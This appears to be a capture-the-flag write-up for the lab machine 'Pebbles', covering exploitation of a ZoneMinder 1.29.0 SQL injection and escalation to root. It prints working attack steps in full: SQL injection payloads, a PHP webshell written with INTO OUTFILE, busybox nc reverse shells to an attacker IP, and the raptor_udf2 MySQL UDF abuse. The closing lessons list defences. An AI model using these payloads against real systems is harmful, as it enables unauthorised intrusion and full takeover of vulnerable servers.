the_open_door
coffee
ESEN

Pebbles

Proving Grounds PracticeEasyLinux192.168.175.52

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#zoneminder#sql-injection#stacked-queries#into-outfile#webshell#mysql-udf#raptor-udf2#privilege-escalation#command-injection
TL;DR. Pebbles hides a ZoneMinder 1.29.0 on port 3305. That version carries a stacked-queries SQL injection in the limit parameter: we confirm it blind with SLEEP() and turn it into RCE by writing a webshell with INTO OUTFILE under the docroot. The shell lands as www-data, but the file MySQL wrote is owned by root: the daemon runs as root. That opens the door to a MySQL UDF abuse (raptor_udf2), which runs commands in that context and hands us a root shell.

Recon

Initial scan

The ping TTL hints at the OS before we even scan.

ping -c 1 192.168.175.52
64 bytes from 192.168.175.52: icmp_seq=1 ttl=61 time=29.4 ms

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. We scan all ports, then fingerprint services.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.52
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3305/tcp open  http
8080/tcp open  http
nmap -p21,22,80,3305,8080 -sCV 192.168.175.52 -oN targetedScan
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pebbles
3305/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Apache Tomcat
|_http-title: Tomcat

Four web services and an SSH. Port 80 serves a page named Pebbles, 8080 is a Tomcat, and 3305 shows the Apache default page, which almost always hides something under a path. We enumerate it.

HTTP - TCP 3305

The 3305 front page is the Apache default, so we fuzz directories.

gobuster dir -u http://192.168.175.52:3305/ -w directory-list-2.3-medium.txt -t 200 -b 404
/javascript           (Status: 301)
/zm                   (Status: 301)
/server-status        (Status: 403)

/zm is the typical directory of ZoneMinder, a video-surveillance system. The console loads without asking for authentication and, better still, reveals the exact version in the header.

ZoneMinder console on port 3305 showing 'ZoneMinder Console - Running - default v1.29.0'

ZoneMinder Console - Running - default v1.29.0. With product and version, we look for known flaws.

searchsploit 'ZoneMinder'
Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injection / Session  | php/webapps/41239.txt

Advisory 41239 documents several vulnerabilities in 1.29/1.30. The one we want is a SQL injection in the limit parameter of index.php, of the stacked queries type (it allows chaining statements).

2)SQL Injection
Parameter: limit (POST)
    Type: stacked queries
    Payload: view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#...

Shell as www-data

ZoneMinder 1.29.0: the SQL injection

Before trusting the advisory, we confirm the injection blind with the time trick: if injecting SLEEP(5) delays the response five seconds and SLEEP(10) delays it ten, the database is running what we inject.

time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434'
time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(10)))OQkj)#&minTime=1466674406.084434'

Two curl requests with SLEEP(5) and SLEEP(10): the real times are 5.19s and 10.19s

real    5.19s     (SLEEP(5))
real    10.19s    (SLEEP(10))

The times match to the second: the injection is real and, being stacked, lets us launch our own statements, not just read data.

From SQLi to RCE: INTO OUTFILE

With stacked queries and, as we will see, a MySQL account holding the FILE privilege, the next jump is to write a file to disk. Drop it under Apache's docroot and it becomes a PHP webshell. That is exactly what SELECT ... INTO OUTFILE does.

view=request&request=log&task=query&limit=100;SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/webshell.php"#&minTime=1466674406.084434

The server answers 200 OK. The webshell is in place.

Burp request with the INTO OUTFILE writing webshell.php and a 200 OK response

We set a listener and ask the webshell to send us a shell. The payload uses busybox nc against port 80, a port the box does let out.

Before triggering the shell, we set up an nc listener:

nc -nlvp 80
http://192.168.175.52:3305/webshell.php?cmd=busybox nc 192.168.45.239 80 -e sh

The callback lands as www-data.

Webshell running id (uid=33 www-data) and the reverse shell caught on the nc listening on 80

Shell as root

A hint: the file was written by root

Before reaching for the usual escalation paths, one observation solves almost everything. We check who owns the webshell we just wrote.

ls -l webshell.php

ls -l webshell.php shows the INTO OUTFILE-written file is owned by root:root

-rw-rw-rw- 1 root root 30 Dec 31 11:24 webshell.php

We wrote it ourselves from the injection, but the owner is root. The reason is simple: INTO OUTFILE creates the file as the MySQL process user, and that process runs as root. We confirm with ps.

ps aux | grep mysqld

ps aux output showing /usr/sbin/mysqld running as root

root  1113  ... /usr/sbin/mysqld

The database engine running as root is the key: if we can get MySQL to run a command, that command will be root. That is the definition of UDF abuse. We check the server version.

mysql --version

mysql --version from the webshell as www-data returns Ver 14.14 Distrib 5.7.30 for Linux x86_64

www-data@pebbles:/var/www/html$ mysql --version
mysql  Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using  EditLine wrapper

The version matters for two reasons: it pins the architecture (x86_64) the UDF .so has to be compiled for, and it confirms a 5.7 branch, where the plugin directory is still writable by the daemon itself, which is exactly what the attack needs.

MySQL UDF: raptor_udf2

The user-defined function abuse consists of loading a shared library that registers a SQL function (do_system) able to run system commands. The classic one is raptor_udf2, from exploit-db.

searchsploit -m linux/local/1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
echo 'busybox nc 192.168.45.239 80 -e sh' > bash.sh
python3 -m http.server 80

From the www-data shell we download the library and the script into the temp directory.

wget http://192.168.45.239/raptor_udf2.so -O /tmp/raptor_udf2.so
wget http://192.168.45.239/bash.sh -O /tmp/bash.sh

Now, through the same SQL injection (which talks to root's MySQL), we create the do_system function: drop the .so into a table, dump it to MySQL's plugin directory with dumpfile, and register it as a function.

view=request&request=log&task=query&limit=100;create table foo(line blob); insert into foo values(load_file('/tmp/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';

Burp request creating table foo, dumping raptor_udf2.so into the plugin directory and creating the do_system function

With nc listening on 80 again for the root callback:

nc -nlvp 80

With the function registered, all that is left is to call it so MySQL (root) runs our bash.sh.

view=request&request=log&task=query&limit=100;select do_system('/bin/bash /tmp/bash.sh');#&minTime=1466674406.084434

The callback comes in, this time as root. (The box was redeployed between sessions and reappeared on IP 192.168.147.52; the technique is identical.)

do_system request triggering bash.sh and the reverse shell caught with whoami returning root

proof.txt

whoami && cat /root/proof.txt && hostname

whoami root, proof.txt and hostname pebbles from the root shell

root
8d3a511fe06b43c9d36e9c7daec09ff5
pebbles

Attack chain

nmap  ──>  3305/tcp: /zm  ──>  ZoneMinder 1.29.0
                                     │  stacked-queries SQLi in 'limit' (confirmed with SLEEP)
                                     v
                          SELECT ... INTO OUTFILE  ──>  webshell.php in /var/www/html
                                     │  ?cmd=busybox nc ... 80 -e sh
                                     v
                              shell as www-data
                                     │  webshell.php owned by root  ──>  mysqld runs as root
                                     v
                  MySQL UDF (raptor_udf2 -> do_system)  ──>  do_system('/bin/bash bash.sh')
                                     v
                               shell as root  ──>  proof.txt

Lessons learned

  • A stacked SQLi with the FILE privilege is code execution. INTO OUTFILE drops a webshell under the docroot and turns data reads into RCE. The defence is parameterised queries and a database account with no FILE and no open secure_file_priv.
  • The owner of a file a service writes betrays which user it runs as. The webshell came out as root: that, not a linpeas (repo) run, is what flagged MySQL as the path to root.
  • Never run the database engine as root. With mysqld as root, a UDF abuse hands over the whole system. Running as mysql with least privilege, the same flaw stays a service shell.
  • Confirm the vulnerability before exploiting it. The SLEEP(5)/SLEEP(10) validated the blind injection at near-zero cost, before building the rest of the chain.
Command cheatsheet 9 commands

Quick review